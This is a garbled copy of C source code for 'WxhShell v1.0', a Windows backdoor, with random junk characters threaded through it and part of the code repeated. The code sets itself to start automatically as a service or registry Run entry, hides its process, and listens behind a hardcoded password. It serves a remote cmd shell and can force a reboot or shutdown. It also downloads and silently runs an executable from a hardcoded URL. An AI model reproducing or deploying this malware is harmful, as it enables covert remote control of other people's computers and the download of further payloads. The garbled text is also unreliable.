|aDB PROCNTQSIP NtQueryInformationProcess; Z^S!w;eu iOxygs#p static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c?S402M} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d a9 *>+[ TUr}p aw_ HANDLE hProcess; aH~"hB^e PROCESS_BASIC_INFORMATION pbi; j]^]p;An p(%x&*)f HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?OFvGd if(NULL == hInst ) return 0; <'33!8
G $<PVzW,$o g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \ S R g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >O=V1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2[eY q1f! :{2$X|f
3 if (!NtQueryInformationProcess) return 0; V"73^ *^ BE1- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yD"sYT if(!hProcess) return 0; Mk;j"ZDF 0}N^l=jQ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fsh-a7Qp plAt
+*& CloseHandle(hProcess); cPSu!u}D ?9A[;j|a0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y5}|Y{5 if(hProcess==NULL) return 0; HDOa N In2D32"F HMODULE hMod; ,zaveQ~l char procName[255]; k=[Ro
unsigned long cbNeeded; 2rM i~8T k@'.d)y0` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MiRB*eA lvlH5Fc CloseHandle(hProcess); %iv'/B8 P@#6.Bb#V if(strstr(procName,"services")) return 1; // 以服务启动 &\r%&IX/ $? Rod; return 0; // 注册表启动 q[lqEc } pV8,b sEa:p:! // 主模块 T}* '9TB int StartWxhshell(LPSTR lpCmdLine) /^"TMm { 'I2)-=ZL6 SOCKET wsl; IcZ 'KV BOOL val=TRUE; NR5A"_' int port=0; [(mq8Nb struct sockaddr_in door; $n W>]S\| A
3l1$t#w if(wscfg.ws_autoins) Install(); )NK2uD RWE%?` port=atoi(lpCmdLine); K^ lVng JQqDUd if(port<=0) port=wscfg.ws_port; frt?*|: %M`&}'6' WSADATA data; ~A)$= " if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; moGbBkO {)M4h?.2 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }`(kX] ][ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =|V3cM4' door.sin_family = AF_INET; shB(kb{{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); @?U5t1O< door.sin_port = htons(port); @tA.^k0` S^u!/ =& if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v3p..A~XZ. closesocket(wsl); iX28+weH return 1; g6farLBF } @fwU%S[v ,F[mh if(listen(wsl,2) == INVALID_SOCKET) { VF-d^AGt closesocket(wsl); 19EU[eb return 1; 2-~oNJqX } fjb2-K Wxhshell(wsl); )UeG2dXx7 WSACleanup(); 5^k#fl2 9fiZ5\ return 0; DEBgb &P;x<7h$t? } =YBJ7.Y I6\3wU~). // 以NT服务方式启动 B.|vmq,u VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d3\8BKp { I.>LG DWORD status = 0; ;WhB2/5v DWORD specificError = 0xfffffff; d7&PbITN G~PP1sf
serviceStatus.dwServiceType = SERVICE_WIN32; Qmrcng}P serviceStatus.dwCurrentState = SERVICE_START_PENDING; -}(W=r\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C9z{8 ; serviceStatus.dwWin32ExitCode = 0; OKP?^%kD serviceStatus.dwServiceSpecificExitCode = 0; &+
IXDU serviceStatus.dwCheckPoint = 0; ~?p
> L serviceStatus.dwWaitHint = 0; ms$o,[ %wO~\:F8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h\5
7t@A if (hServiceStatusHandle==0) return; \@xnC$dd/ O
Rfl v+ status = GetLastError(); -'nx7wnj2 if (status!=NO_ERROR) )D^P~2 { zR4huo serviceStatus.dwCurrentState = SERVICE_STOPPED; _eF*8 /z serviceStatus.dwCheckPoint = 0; ,%C$~+xjM serviceStatus.dwWaitHint = 0; ;ry{cq serviceStatus.dwWin32ExitCode = status; l*eA
?Qz serviceStatus.dwServiceSpecificExitCode = specificError; @6E[K'5c1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); s2E}+
# return; #yqcUbJY0R } bY<" $);s jC
oZm(bi serviceStatus.dwCurrentState = SERVICE_RUNNING; L*_xu _F serviceStatus.dwCheckPoint = 0; >
+SEze serviceStatus.dwWaitHint = 0; sOJ~PRA if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [ /D/ } Kq*^*vWC s[g1ei9 // 处理NT服务事件,比如:启动、停止 iPIA&)x}
VOID WINAPI NTServiceHandler(DWORD fdwControl) wK3}K { IoX(Pa switch(fdwControl) L/ZZe5I { qHj4`& case SERVICE_CONTROL_STOP: Ut%ie=c serviceStatus.dwWin32ExitCode = 0; WRgz]=W3w serviceStatus.dwCurrentState = SERVICE_STOPPED; ^\!^#rO serviceStatus.dwCheckPoint = 0; RHxd6Gs" serviceStatus.dwWaitHint = 0; 1~*_H_Q't { C{Fo^-3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); xP*R H-< } %6n;B|! return; *cd9[ ~ case SERVICE_CONTROL_PAUSE: 5mV'k"Om#" serviceStatus.dwCurrentState = SERVICE_PAUSED; :+6m<?R)T break; H$;\TG@, case SERVICE_CONTROL_CONTINUE: ,"/_G serviceStatus.dwCurrentState = SERVICE_RUNNING; ]
=D+a& break; acH.L_B: case SERVICE_CONTROL_INTERROGATE: w 8E,zH break; Ze~\=X" " }; E )PEKWK\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^O?$}sr } *D'VW{ $&4Z w6"= // 标准应用程序主函数 U!Lws#\X int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j04Q3d
\f { ed{9UJWh XH. _Z // 获取操作系统版本 ."lY>(HJ OsIsNt=GetOsVer(); ED6H GetModuleFileName(NULL,ExeFile,MAX_PATH); Q.N^1?(>k 4M:oa#gh@ // 从命令行安装 a}fW3+> if(strpbrk(lpCmdLine,"iI")) Install(); <sTaXaq? u66w('2 // 下载执行文件 Cr&ua|%F if(wscfg.ws_downexe) { 2|T@ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mMMu'N WinExec(wscfg.ws_filenam,SW_HIDE); 464Z0C } b/ynCf8X bi5'- .B
if(!OsIsNt) { u&<LW4 // 如果时win9x,隐藏进程并且设置为注册表启动 Uq&|iB#mF HideProc(); \!%3giD5! StartWxhshell(lpCmdLine); /eE P^)h } QCjmg5bf'7 else CN >q`[! if(StartFromService()) `*slQ}i // 以服务方式启动 t;*'p StartServiceCtrlDispatcher(DispatchTable); `R^)<v* else T}zi P // 普通方式启动 [-%oO StartWxhshell(lpCmdLine); w#o<qrpHf 0
cQf_o return 0; :9)>!+|' } l+#` $Fo ,$ iX,Qh2(ig vEb~QX0~ =========================================== *Vc}W j/W#=\xz f(3#5288 &38Fj'l wU=(_S,c J3$ihH. " Ji7A9Hk ;[|x5o/< #include <stdio.h> gcz1*3) #include <string.h> j;'NJ~NZ$ #include <windows.h> ~r{Nc j #include <winsock2.h> gh~C.>W}q+ #include <winsvc.h> lr|-_snx2 #include <urlmon.h> F'"-4YV>& bkY7]'.bz& #pragma comment (lib, "Ws2_32.lib") z*R"917 #pragma comment (lib, "urlmon.lib") Lrk^<:8; 0/%zXp&m #define MAX_USER 100 // 最大客户端连接数 Sy8Og] a
#define BUF_SOCK 200 // sock buffer )Ev [o#y #define KEY_BUFF 255 // 输入 buffer {u!,TDt* g'I S8@ #define REBOOT 0 // 重启 *"E]^wCn #define SHUTDOWN 1 // 关机 is6JS^Q ;eWVc;H #define DEF_PORT 5000 // 监听端口 aB$Y5 2.|Y #define REG_LEN 16 // 注册表键长度 tkd2AMkh! #define SVC_LEN 80 // NT服务名长度 h+vKai dCc*<S // 从dll定义API FNZnz7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wima=xYe\5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JY /Cd6\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f",B;C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u2DsjaL MF& +4$q // wxhshell配置信息 M+ H$Jjcs struct WSCFG { {}.c.W+ int ws_port; // 监听端口 Z{e5 OJ char ws_passstr[REG_LEN]; // 口令 Z,!Rj7wZ int ws_autoins; // 安装标记, 1=yes 0=no 7`P(LQAr! char ws_regname[REG_LEN]; // 注册表键名 &)wQ|{P~k char ws_svcname[REG_LEN]; // 服务名 v7g-M char ws_svcdisp[SVC_LEN]; // 服务显示名 C[[z3tn char ws_svcdesc[SVC_LEN]; // 服务描述信息 {i=qx#2X?H char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l
lQ<x int ws_downexe; // 下载执行标记, 1=yes 0=no yJr' \( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SX;FBO(p char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wK,tq s(zG.7*3n }; Yc9 M6=E^ te:@F]A // default Wxhshell configuration h'N,oDB) struct WSCFG wscfg={DEF_PORT, ]o_ Ps| "xuhuanlingzhe", ]A_)&`"Cb 1, D L$P "Wxhshell", ."MBKyg6 "Wxhshell", ]qrO"X= "WxhShell Service", u|Db%)[ "Wrsky Windows CmdShell Service", >0f5Mjug "Please Input Your Password: ", n0EKNMO 1, VD1*br^, "http://www.wrsky.com/wxhshell.exe", KC "Wxhshell.exe" ^^v\ T }; "F0,S~tZZ hLBX,r)u // 消息定义模块 Ar>-xCTD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6 Iup4sP char *msg_ws_prompt="\n\r? for help\n\r#>"; d,$[633It} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vls*fY:W char *msg_ws_ext="\n\rExit."; Um*{~=;u char *msg_ws_end="\n\rQuit."; @O4m-Oosi char *msg_ws_boot="\n\rReboot..."; R(Z2DEt</ char *msg_ws_poff="\n\rShutdown..."; bZ0r/f,n$ char *msg_ws_down="\n\rSave to "; c.NAUe_3 .lqo>Ta
y char *msg_ws_err="\n\rErr!"; rJR"[TTJ char *msg_ws_ok="\n\rOK!";
}mX;0qO q7X/"Dfx char ExeFile[MAX_PATH]; >YLwWU<X int nUser = 0; :^px1 HANDLE handles[MAX_USER]; 4Jht{#IIG int OsIsNt; B:Msn)C~ ]x~H"<V SERVICE_STATUS serviceStatus; QHA<7Wg SERVICE_STATUS_HANDLE hServiceStatusHandle; rU(N@i% lQ@2s[ // 函数声明 YsDn?p D@ int Install(void); {-H6Z#b[ int Uninstall(void); GXa-g-d int DownloadFile(char *sURL, SOCKET wsh); [<bfwTFsl int Boot(int flag); 8sE@?, void HideProc(void); uGgR@+7?Z int GetOsVer(void); 4,FuQ} int Wxhshell(SOCKET wsl); }>SHTHVye void TalkWithClient(void *cs); WtdWD_\%Y\ int CmdShell(SOCKET sock); ;c~6^s`2 int StartFromService(void); %1xo|6hm- int StartWxhshell(LPSTR lpCmdLine); tTC[^Dji b[H& vp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8r+R~{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); @|r*yi Rh,*tS // 数据结构和表定义 MX
qH SERVICE_TABLE_ENTRY DispatchTable[] = sexnO^s { Av7bp[OD {wscfg.ws_svcname, NTServiceMain}, e>Is$+[`7 {NULL, NULL} R$NH [Tz }; WCU[]A Wrt3p-N"D // 自我安装 YpXUYNy int Install(void) w0VJt<e* { Gv3a<Knn4 char svExeFile[MAX_PATH]; L1M]ya!l HKEY key; lshO'I+)* strcpy(svExeFile,ExeFile); BpRQG]L fXO"Mr1 // 如果是win9x系统,修改注册表设为自启动 irpO(>LK if(!OsIsNt) { 5,;{<\c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ll73}v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @yqy$I RegCloseKey(key); |fq1Mn8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N!aV~\E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F5:4 B]ZF RegCloseKey(key); &QLCij5: return 0; hG; NJx-=R } F<
Qjoaz } g,mcxXO } wbVM'E/& else { Z=4Krfn MiAXbo#\ // 如果是NT以上系统,安装为系统服务 eRv3qK{` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1z0&+ C3z if (schSCManager!=0) YtE V8w_$ { d{I|4h SC_HANDLE schService = CreateService ?}lgwKBHl; ( @4_W}1W schSCManager, R CnN+b:c wscfg.ws_svcname, ,RDxu7iT wscfg.ws_svcdisp,
E~jNUTq SERVICE_ALL_ACCESS, "\]kK@, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `)!)}PXl SERVICE_AUTO_START, Hk(w\
SERVICE_ERROR_NORMAL, hekAics6S svExeFile, ngn%"xYX NULL,
VTy!<I NULL, 3Ud&B NULL, 'R99kL/.N NULL, s>E4.0[I% NULL G{$9e}# ); t&eY+3y,T if (schService!=0) 4f'WF5S/}8 { \^w=T* CloseServiceHandle(schService); +7^{T:^ht CloseServiceHandle(schSCManager); .0r5= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y?R;Y:u3Z strcat(svExeFile,wscfg.ws_svcname); p;U[cGHC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ycIT=AFYqd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @| qnD RegCloseKey(key); Y)?4OB=n return 0; 0q>f x } ;Hv#SRSz } >pT92VN CloseServiceHandle(schSCManager); ` L6H2:pf } v93+<@Z } -;_NdL@ +TfMj1Zx return 1; UdT~h } E_/v$ Y[X5S{H`wj // 自我卸载 Fu(e4E int Uninstall(void) &l-g3l[ { =
r_&R#~GT HKEY key; 0`3ey* &W)ks if(!OsIsNt) { Z#3wMK~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fZ 17 RegDeleteValue(key,wscfg.ws_regname); e}-uU7O RegCloseKey(key); Wi'BX#xCB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RHz'Dz>0 RegDeleteValue(key,wscfg.ws_regname); VsNqYFHes& RegCloseKey(key); ?so3Kj6H return 0; e(6g|h } '[{M"S } 4ehajK } &:nWZ!D else { n)8bkcZCp+ -P!vCf^{
t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sO~N2 if (schSCManager!=0) 1W"9u { JwRdr8q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P5%DvZB$w if (schService!=0) AuX& { tQF7{F-} if(DeleteService(schService)!=0) { k$7-F3 CloseServiceHandle(schService); jCtl
] CloseServiceHandle(schSCManager); r9yUye} return 0; q;}^Jpb; } 8L|rj4z<# CloseServiceHandle(schService); 7'xT)~*$4 } <YUc?NF CloseServiceHandle(schSCManager); Fx/9T2%= } >Czcs=(L.k } = K"F!} psta&u\ q return 1; \@:pWe } @|j`I1r.A :nd
}e // 从指定url下载文件 tI{pu}/"# int DownloadFile(char *sURL, SOCKET wsh) #z6RzZu { nv2Y6e}dG HRESULT hr; t'Nu^_# char seps[]= "/"; |0b$60m$!t char *token; GQ$0`?lp char *file; +wY3E*hU char myURL[MAX_PATH]; )Mi#{5z char myFILE[MAX_PATH]; X.o[=E nsaf6y&E strcpy(myURL,sURL); qWy{{A+ token=strtok(myURL,seps); .]k(7F!W while(token!=NULL) %Jq(,u { q}M^i7IE file=token; bsR^H5O@ token=strtok(NULL,seps); VVYQIR]!yk } q@8Rlc& TXH: + m c GetCurrentDirectory(MAX_PATH,myFILE); i6h:%n]Io strcat(myFILE, "\\"); 3r%I * strcat(myFILE, file); b,#cc>76\ send(wsh,myFILE,strlen(myFILE),0); ahhVl=9/ao send(wsh,"...",3,0); ygd'Nh!@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #D
.H2'_} if(hr==S_OK) 6K[s),rdv return 0; Yc"G="XP; else _ _-rP return 1; qV@xEgW#r F'C]OMBE } Yu9Ccj` X. UN=lu // 系统电源模块 hkRv0q.' int Boot(int flag) Ipb4{A&"\ { /:z}WAW HANDLE hToken; 7 G~MqnO| TOKEN_PRIVILEGES tkp; h%E25in ' f}^/`J if(OsIsNt) { yV$p(+KkS OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <;Qle LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n?YGXW/ tkp.PrivilegeCount = 1; ]Q6,,/nn tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q5Y4@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JLT':e~PX if(flag==REBOOT) { "3Ag+>tuRW if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bO9F rEz5 return 0; %UV_
3 } deda=%w0 else { GNZQj8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) shYcfLJ return 0; N{q5E,} } Q'7o_[o/ } .J&NM(qeZ else { 6!+xf if(flag==REBOOT) { P`-(08t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P7 (&*=V return 0; zbl h_6 } S]K^wj[ else { ]m=* =LLC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R)nhgp(~ return 0; @ns2$(wkm@ } r\'3q'7p } 7EI(7:gOn QI0ARdS return 1; z]gxkol\ } E4T?8TO$o% P-7!\[];te // win9x进程隐藏模块 wAF>C[ <\ void HideProc(void) 96}/;e]@ { j<"0ym)A (J\D"4q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v~L} : if ( hKernel != NULL ) 8{4I6;e- { d,8V-Dk+p pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `axNeqM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3P^eD:)
w FreeLibrary(hKernel); `if* } D7sw;{ns I@pnZ-5 return; #U"\v7C{n } Hu1w/PLq A;SRm<, // 获取操作系统版本 j MW|B int GetOsVer(void) J4 !Z,- { &EE6<-B- OSVERSIONINFO winfo; Z!wDh_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ##}a0\x| GetVersionEx(&winfo); d0MX4bhZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j9y,UT return 1; $ daI++v`
else KD-0NO=oL return 0; AJCWp4, } g#Zb}^ BL]!j#''KE // 客户端句柄模块 p KKn int Wxhshell(SOCKET wsl) _YmYy\g { |pq z(j7 SOCKET wsh; _^#PV} struct sockaddr_in client; T_5 E DWORD myID; WuSRA<{P o1GWcxu*\ while(nUser<MAX_USER) }{=%j~V;& { Vn=J$Uv0 int nSize=sizeof(client); qW;nWfkYC wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XL EA|# if(wsh==INVALID_SOCKET) return 1; o~mY,7@a (0Hhn2JA
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _L%/NXu, if(handles[nUser]==0) ~
Z%>N closesocket(wsh); P:ys--$" else *v8Cj(69 nUser++; Fe"0Hp+ } w?oIKj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IW6;ZDP *`|.:' return 0; cM C1|3 } iT
4H@ ndF
Kw // 关闭 socket Kqhj=B void CloseIt(SOCKET wsh) gAv?\9=a)W { 'ZL)-kbI closesocket(wsh); IB(IiF5 nUser--; AGLzA+6M ExitThread(0); "%,zB_ng\< } b:Rl }"a %#/7Tl: // 客户端请求句柄 ;,Lq*x2s void TalkWithClient(void *cs) s8.oS);` { YHvmo@ @ mtv2P` SOCKET wsh=(SOCKET)cs; B quyPG" char pwd[SVC_LEN]; B:^5W{ char cmd[KEY_BUFF]; X+P3a/T char chr[1]; ;2#7"a^ int i,j; W5J"#^kdF8 OwSr`2'9 while (nUser < MAX_USER) { SV6Np?U 8Ln:y'K if(wscfg.ws_passstr) { A' dt
WD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WdunI~&. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rh$%*l //ZeroMemory(pwd,KEY_BUFF); dYfVox; i=0; M~ynJ@q while(i<SVC_LEN) { z4UeUVfZ} Pg*ZQE[ME8 // 设置超时 D'uzH|z8 fd_set FdRead; sx`C<c~u struct timeval TimeOut; WXO@oZ! FD_ZERO(&FdRead); qI8{JcFx: FD_SET(wsh,&FdRead); xCoQ>.4p TimeOut.tv_sec=8; ]%>;R^HY TimeOut.tv_usec=0; -_b}b)2iYN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 42Kzdo|} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @105 @9F R4@C>\c%m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R^%7| pwd=chr[0]; NBUM* Z if(chr[0]==0xd || chr[0]==0xa) { @B+ pwd=0; t)$>++i break; {{@3r5KGl } |M9x&(H;Hw i++; :t\PYDp1 } ]C5JP~#z O2 3f\pm& // 如果是非法用户,关闭 socket I#uJdV|x if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QVzLf+R~ } 7Py8! "z@qG]#5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (iBBdB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]9;WM. TO3Yz3+A while(1) { &*/X*!_HK EG<K[t ZeroMemory(cmd,KEY_BUFF);
(nvSB}? G^)|c<'M // 自动支持客户端 telnet标准 /+02BP j=0; |`:Uww+3 while(j<KEY_BUFF) { Q8z>0ci3o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mQo]k cmd[j]=chr[0]; H^'*F->BA if(chr[0]==0xa || chr[0]==0xd) { a&PoUwG cmd[j]=0; (Ozb +W? break; 3&x_%R } @kI^6(. j++; Jw;J$
u!d } ]<++w;#+x ph^qQDA // 下载文件 B-r9\fi, if(strstr(cmd,"http://")) { r95$B6 send(wsh,msg_ws_down,strlen(msg_ws_down),0); -I\_v*nA if(DownloadFile(cmd,wsh)) E
hd* send(wsh,msg_ws_err,strlen(msg_ws_err),0); X Uh)z else RFQa9Rxk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HZfcLDrO } ]2K>#sn-] else { `,\WhJ?9 p]=8=pE< switch(cmd[0]) { 9dy"Y~c |l7e*$j // 帮助 o8Q(,P case '?': { !7^fji send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i"sVk8+o! break; ed>_=i } <J?i+b // 安装 G8akMd]2 case 'i': { d3^LalAp if(Install()) Ha4?I$'$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hdj0! bUx else Z-]d_Y~m4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +,c;Dff break; 1T!_d&A1o } >/$Q:92T // 卸载 n'%*vdHKm case 'r': { o(|`atvK if(Uninstall()) /$I&D}uR` send(wsh,msg_ws_err,strlen(msg_ws_err),0); _%Mu{Ni& else %)\Cwl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DRf~l9f break; p5G O@^i } 4?72TBl] // 显示 wxhshell 所在路径 fN8A'p[ case 'p': { h/eKVRGs" char svExeFile[MAX_PATH]; kwZC3p\\ strcpy(svExeFile,"\n\r"); fs~n{z,ja% strcat(svExeFile,ExeFile); HTkce,dQ send(wsh,svExeFile,strlen(svExeFile),0); `=%[ break; '<6Gz7O } '2:Ily,S@ // 重启 }6m5MH$7q case 'b': { >nvreis send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $0iz;!w if(Boot(REBOOT)) !4I?59 send(wsh,msg_ws_err,strlen(msg_ws_err),0); LNk
3=v2M else { 1pO ;aG1O closesocket(wsh); q:1 1XPP ExitThread(0); 6t/})Xv } -"!V&M break; fgTvwOSk } |w /txn8G| // 关机 *~2jP;$ case 'd': { n1buE1r? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R/<
/g= if(Boot(SHUTDOWN)) r/3!~??x send(wsh,msg_ws_err,strlen(msg_ws_err),0); +apIp(E+ else { k=nfo-h closesocket(wsh); {TE0 ExitThread(0); .yg"!X } ,MOB+i(3*u break; /i
DS#l\0 } O&d(FJZ // 获取shell ukq9Cjs case 's': { ( 9dV%#G\ CmdShell(wsh); wyAqrf closesocket(wsh); EX8]i,s|E ExitThread(0); 7fnKe2MM break; kDO6:sjR7 } fbo64$!hZ // 退出 `acorfpi case 'x': { :qgdn,Me send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6TPcG d Z CloseIt(wsh); ,FS iE\ break; ,<pql!B- } Q+dBSKSK // 离开 bs%]xf
~D; case 'q': { 69yTGUG3 send(wsh,msg_ws_end,strlen(msg_ws_end),0); N]+x@M @^3 closesocket(wsh); hO{@!H$l WSACleanup(); )@SIFE exit(1); jCKRoao break; JJ qX2B } gY*Cl1 Iz } Ra~n:$tg2 } >[
72]<6 3^1)W!n/ // 提示信息 HzH_5kVW if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W,AI E6F } &sx/qS#,VL } {
H9pF2C 0Xk;X1Xl return; w[4SuD } R&PQ[ Xc ufEt"P-X. // shell模块句柄 ']+H P9i$ int CmdShell(SOCKET sock) ?ADk`ts~,} { GXJ3E"_. STARTUPINFO si; `Rj
i=k> ZeroMemory(&si,sizeof(si)); B;1wnKdj si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >KGQ#hnH si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @$+l ^"#-] PROCESS_INFORMATION ProcessInfo; hn!$?Vo. char cmdline[]="cmd"; 5:n&G[Md CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r\=p.cw< return 0; s8eiq`6\H} } r<C^hs&] F)DL/'; // 自身启动模式 H@aCo(# int StartFromService(void) Ux zwgVT { #Kn7
xn[ typedef struct bmT J { .=^h@C*
DWORD ExitStatus; Mh3zl DWORD PebBaseAddress; B(^fM!_%-6 DWORD AffinityMask; (T'inNbJe DWORD BasePriority; mjs*Z{_F^ ULONG UniqueProcessId; 3]}W ULONG InheritedFromUniqueProcessId; 66Hu<3X P } PROCESS_BASIC_INFORMATION; >|z=-hqPK #/1A:ig PROCNTQSIP NtQueryInformationProcess; pR\etXeL d \I'A:~b)L static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WYaDN:kZf static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8eOQRC33 [ ddEt HANDLE hProcess; w2$HP/90j PROCESS_BASIC_INFORMATION pbi; ?kS5=&< hb?
|fi HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JZP2NB_xt if(NULL == hInst ) return 0; -*yj[?6 Iun!rv g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ap;UxWqx g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +[~\\X NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8^< -; u c7Y8iO if (!NtQueryInformationProcess) return 0; 6;(Slkv \DGm[/P hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2M1yw " if(!hProcess) return 0; !L3Bvb;Q ~{d94o. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o_\b{<^I 6[qRb+ds CloseHandle(hProcess); N?87Bd df8rf8B- hProcess = 